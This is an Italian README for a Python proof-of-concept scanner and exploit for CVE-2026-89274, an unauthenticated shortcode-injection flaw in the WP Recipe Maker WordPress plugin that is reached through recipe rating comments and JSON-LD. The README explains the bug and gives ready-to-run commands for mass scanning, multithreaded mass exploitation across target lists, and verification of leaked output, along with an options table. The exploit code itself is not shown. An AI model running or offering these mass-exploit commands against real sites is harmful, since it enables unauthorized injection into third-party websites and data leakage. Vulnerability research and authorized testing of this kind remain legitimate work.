
Scanner PoC Python ed exploit per CVE-2026-89274, una vulnerabilità di esecuzione arbitraria di shortcode non autenticata in WP Recipe Maker <=10.8.1 tramite commenti di valutazione delle ricette e JSON-LD.
Scanner/exploit PoC in Python 3 per CVE-2026-89274 in WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Affected | ≤ 10.8.1 |
| Fixed in | 10.8.2+ |
| CVSS | 9.1 (Critical) |
| Auth | Unauthenticated (comment submit) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() esegue do_shortcode() sui campi metadata prima di strip_shortcodes(). I commenti di valutazione delle ricette approvati (wprm-comment-rating) popolano il campo JSON-LD reviewBody; gli shortcode iniettati vengono eseguiti al caricamento della pagina della ricetta e possono far trapelare l'output nei dati strutturati.
Requisito: il commento malevolo deve essere approvato (auto-approvazione o moderatore). La modalità exploit può usare --verify per confermare che il marker appaia nel campo JSON-LD reviewBody.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (modalità verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Opzione | Descrizione |
|---|---|
-u, --url | URL base del singolo target |
--list | Lista di URL, candidates.jsonl, o submitted_mass.txt (verify) |
--mode | check, exploit, o verify |
--recipe-url | URL del post con ricetta WPRM incorporata + commenti |
--post-id | comment_post_ID di WordPress |
--recipe-id | ID ricetta WPRM (opzionale --use-api) |
--shortcode | Payload nel testo del commento (shortcode probe predefinito) |
--marker | Verify: cerca la sottostringa marker nel JSON-LD |
--verify | Exploit: conferma la fuga nel JSON-LD dopo l'invio |
--use-api | Prova anche il percorso REST Premium user-rating |
--threads, -j | Concorrenza massiva (predefinito 20) |
--output | Risultati JSONL (predefinito cve_2026_89274_results.jsonl) |
--vuln-list | Output testuale per hit/leak (predefinito hits.txt) |
--candidates-list | Metadata degli hit del check (predefinito candidates.jsonl) |
--quiet | Meno output di avanzamento nelle esecuzioni massive |
| File | Contenuto |
|---|---|
cve_2026_89274_results.jsonl | JSON per target |
hits.txt | URL base candidati |
candidates.jsonl | page_url, post_id, recipe_id, version |
status (check)| Status | Significato |
|---|---|
candidate | Versione vulnerabile + pagina ricetta con wprm-comment-rating |
plugin_no_recipe_comments | Plugin presente, nessuna pagina ricetta/commento adatta trovata |
recipe_no_comment_rating | Pagina ricetta senza form di valutazione nei commenti |
patched | Versione ≥ 10.8.2 |
no_plugin | WP Recipe Maker non rilevato |
[caption])./blog/, /recipes/) potrebbero non mostrare fughe JSON-LD; l'exploit preferisce i permalink di singole ricette durante la scoperta delle pagine.--verify conferma solo la riflessione nel JSON-LD, non una RCE completa..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Le liste di scansione locali e gli artefatti di esecuzione (list.txt, *.jsonl, submitted_mass.txt, …) sono in .gitignore e non devono essere committati.
Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.